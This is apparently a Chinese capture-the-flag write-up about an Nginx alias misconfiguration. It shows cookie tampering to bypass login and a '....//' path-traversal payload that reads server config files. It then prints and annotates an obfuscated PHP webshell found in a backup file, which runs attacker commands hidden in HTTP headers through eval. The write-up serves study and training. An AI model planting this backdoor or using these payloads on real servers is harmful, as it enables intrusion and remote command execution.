1、进入靶场
2、根据题目提示是Nginx配置错误,先看看网站有没有robots.txt文件
3、hint.php给出配置文件路径
4、Hack.php响应之后回到登录界面,这里用Burp抓包看一下响应内容
发现cookie有可疑参数isLogin应该是判断是否登录,把0改成1放走数据包,进入新的页面
5、检测源码发现,管理中心可以前往其他页面
直接进进不去,需要抓包修改cookie
6、进来之后来到这个页面
根据页面的回显,这里可以读取文件(Brup不太容易分辨,可以用HackBar)
?file=index.php&ext=和?file=index&ext=php内容读取一样
经过测试这个会把../替换为空,可以构造....//绕过。使用
?file=....//....//....//....///etc/nginx/sites-enabled/site.conf&ext=
7、 Nginx配置
location /web-img {
alias /images/;
autoindex on;
}
这是开发人员想让我们访问/web-img这个目录,但是没有在/web-img后面加/,导致我们可以构造/web-img../
和alisa拼接起来就成了/images/web-img/../,造成目录穿越漏洞
8、访问/web-img./目录
进入网站目录发现有备份文件,下载一下
9、代码审计
<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
?>
create_function()函数
根据传递的参数创建匿名函数,并为其返回唯一名称。
语法:
1 create_function(string $args,string $code) 2 string $args 声明的函数变量部分 3 string $code 执行的方法代码部分
把代码部分输出echo $f;
<?php
$kh="42f7";
$kf="e9ac";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"]; // 获取来源URL
$ra=@$r["HTTP_ACCEPT_LANGUAGE"]; // 客户端可以理解的编码
if($rr&&$ra){
$u=parse_url($rr); //解析URL,返回数组
parse_str($u["query"],$q); //字符串解析成变量
$q=array_values($q); // 获取数组所有的值
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m); // 全局正则表达式匹配
if($q&&$m){
@session_start(); // 开启会话
$s=&$_SESSION; // 储存用户会话信息
$ss="substr"; // 切割字符串
$sl="strtolower"; // 所有字符转换成小写
$i=$m[1][0].$m[1][1];
$h=$sl($ss(md5($i.$kh),0,3)); // h=***
$f=$sl($ss(md5($i.$kf),0,3)); // f=***
$p="";
for($z=1;$z<count($m[1]);$z++)
$p.=$q[$m[2][$z]]; // p=$h + * + $f
if(strpos($p,$h)===0){
$s[$i]="";
$p=$ss($p,3);
}
if(array_key_exists($i,$s)){
$s[$i].=$p;
$e=strpos($s[$i],$f); // 检查字符串的第一次出现的位置
if($e){
$k=$kh.$kf;
ob_start(); // 打开输出缓冲区
@eval(
@gzuncompress(
@x(@base64_decode(
preg_replace(
array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e)
)
),$k)
)
);
$o=ob_get_contents(); // 返回输出缓冲区的内容
ob_end_clean(); // 清空缓冲区并关闭
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}
?>
后面就不会了。。。